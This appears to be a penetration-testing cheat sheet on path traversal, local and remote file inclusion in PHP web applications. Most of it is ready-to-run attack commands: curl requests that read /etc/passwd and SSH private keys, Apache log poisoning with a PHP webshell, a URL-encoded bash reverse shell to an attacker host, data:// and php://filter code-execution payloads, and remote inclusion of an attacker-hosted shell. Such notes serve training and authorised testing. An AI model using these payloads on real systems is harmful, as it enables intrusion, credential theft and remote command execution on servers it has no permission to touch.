Skip to main content

Path Traversal & File Inclusion

References:

Identifying Path Traversal​

Look for URL parameters that reference files:

https://example.com/cms/login.php?language=en.html

Key observations:

  • login.php tells us the server uses PHP
  • language=en.html is a file reference we may be able to manipulate
  • /cms/ suggests the app runs in a subdirectory of the web root

Discovery Checklist​

  • Hover over all buttons and check URLs
  • Check all links
  • Navigate to all accessible pages
  • Examine target source code for file references

Fuzzing for the Vulnerability​

Automate traversal testing with a payload list (handles depth, encoding, and null-byte variants):

ffuf -u "http://$TARGET/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs <baseline-size>

-fs <baseline-size> filters the normal-response size so only successful reads stand out.

Linux Path Traversal​

Default web root: /var/www/html

Test with a known file:

curl http://$TARGET/index.php?page=../../../../../../../../../etc/passwd

Retrieve SSH keys:

curl http://$TARGET/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
tip

If you get a private key, set permissions to 400 before using: chmod 400 stolen_key

ssh -i stolen_key -p 22 $USER@$TARGET

Windows Path Traversal​

Test with a universally readable file:

curl http://$TARGET/index.php?page=C:\Windows\System32\drivers\etc\hosts

Read application logs:

curl http://$TARGET/index.php?page=C:\xampp\apache\logs\access.log

Local File Inclusion (LFI)​

LFI takes path traversal further — if you can include a file that contains PHP code, the server will execute it.

Log Poisoning​

If you can read the Apache access log via path traversal, inject PHP into the User-Agent header:

  1. Use Burp Repeater to send a request with a malicious User-Agent:
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
  1. Then trigger execution by including the log file with a command:
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
  1. For a reverse shell (URL-encoded):
# Raw: bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%22"
warning

The bash -c wrapper ensures the code is executed using bash instead of the default sh shell, which may not support the redirect syntax.

Other Poisoning Targets​

When Apache logs aren't readable, the same "write PHP somewhere, then include it" idea works against other attacker-controlled files:

  • PHP session files — set a session variable you control (e.g. a username field), then include /var/lib/php/sessions/sess_<PHPSESSID> (your PHPSESSID cookie value).
  • /proc/self/environ — on older setups, inject PHP via the User-Agent header, then include /proc/self/environ.
  • Mail logs — /var/log/mail.log if you can send mail to a crafted address.
  • SSH auth log — /var/log/auth.log, poisoned by attempting SSH login with a PHP payload as the username.

PHP Wrappers​

Reference: https://www.php.net/manual/en/wrappers.php

php://filter — Read Source Code​

When including a PHP file directly shows incomplete output (because PHP executes it), use base64 encoding to extract the raw source:

curl "http://$TARGET/index.php?page=php://filter/convert.base64-encode/resource=admin.php"

Decode the output:

echo "<base64-output>" | base64 -d
tip

When data:///php://input are disabled (allow_url_include=Off), the PHP filter chain technique can still achieve RCE using only php://filter by chaining encodings to generate arbitrary bytes. Generate a chain with php_filter_chain_generator: python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

data:// — Execute Code​

Inject and execute PHP directly:

curl "http://$TARGET/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

With base64 encoding for complex payloads:

echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "http://$TARGET/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id"
tip

If a command has spaces, use URL encoding. %20 represents a space.

Remote File Inclusion (RFI)​

If the include function accepts a URL (requires allow_url_include=On in PHP, off by default since 5.2), you can host the payload yourself and have the server fetch and execute it:

# Host a PHP shell on your machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80

# Include it remotely
curl "http://$TARGET/index.php?page=http://$LHOST/shell.php&cmd=id"

An ftp:// or SMB (\\$LHOST\share) source can work when outbound HTTP is filtered. RFI is rarer than LFI on modern PHP but trivial to exploit when present.

File Upload Vulnerabilities​

Two categories:

  1. Direct execution — upload a file that the web server will execute (e.g., PHP script on a PHP-enabled server)
  2. Combined with another vuln — combine file upload with directory traversal to overwrite files like authorized_keys, or combine with XXE/XSS